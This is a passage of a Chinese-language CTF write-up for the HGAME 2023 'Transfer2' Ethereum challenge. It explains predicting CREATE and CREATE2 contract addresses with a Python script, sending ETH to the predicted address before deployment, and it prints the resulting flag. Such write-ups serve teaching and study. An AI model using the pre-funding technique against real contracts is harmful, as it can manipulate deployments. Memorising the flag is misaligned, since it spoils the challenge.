,但是先不要部署合约。这时候,我们拿到了账户地址,例如:
0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245
接下来,我们确认该账户的交易次数:
可以发现,是0次,接下来,我们确定后端部署合约的方式。
通过搜索引擎可知,题目是基于该项目编写的:https://github.com/chainflag/eth-challenge-base,查阅其中的合约部署相关代码:
可以发现,没有salt
的影子,因此底层应该是使用create
函数部署的合约。
查阅文档可知,create
函数部署的合约,地址生成规则为:
keccak256(rlp([sender, nonce]))
现在,sender
和nonce
都已知,那么接下来要部署的合约地址便也提前知道了。
不过,我们的目的是要知道该合约创建的Challenge
合约的地址,因此,再次阅读代码:
//...
bytes32 constant salt = keccak256("HGAME 2023");
constructor() {
chall = new Challenge{salt: salt}();
//...
很明显,此处的合约使用的是create2
方式部署的。
create2
函数生成的地址规则如下:
keccak256(0xff + sender + salt + keccak256(init_code))
其中,sender
、salt
已知,init_code
可以实现部署一个用于测试的合约,调用合约的getCode
函数得到,这样一来Challenge
的合约地址也可以预测出来了,以下是实现地址预测的代码:
from rlp import encode
from web3 import Web3
prefix = '0xff'
creator = 'E2EF078018b6DcaC3daBF17D82d2DA5554657fD4'
knownSalt = '3ec137672b90366126b6416bd4fd1eba98d6887a1303a5e0e5e2d475e91efbc5' # HGAME 2023
knownHash = '935f3dbc7af8507be23c7688266f5d8ac74359011f4c43e806bfd4f077cdcb2f'
deployer = 0xfd6Bb138dDd1b2d5aC4d6045A764182b3ED3b245
if __name__ == '__main__':
nonce = 0x0
hashed = Web3.sha3(encode([deployer, nonce]))[12:]
contractAddress = ''.join(['%02x' % b for b in hashed])
print('contractAddress', contractAddress)
predict = prefix + contractAddress + knownSalt + knownHash
hashed = Web3.sha3(hexstr=predict)[12:]
hashed_str = ''.join(['%02x' % b for b in hashed])
print('ChallengeAddress', hashed_str)
运行得到Transfer2
合约地址和Challenge
合约地址:
contractAddress 021fd257cdce9a7b4a98e21b56eea7ee8cf4425b
ChallengeAddress 8a65af3404b37704dc25883b061e65547d934c81
向地址0x8a65af3404b37704dc25883b061e65547d934c81
转账1 eth
,然后部署合约:
可见,Transfer2
的合约地址与预测一致。
最后,提交返回的transaction hash
,获得flag:
得到flag:
hgame{e0638df02eec0ccaa653b66de526c282a335ed3e}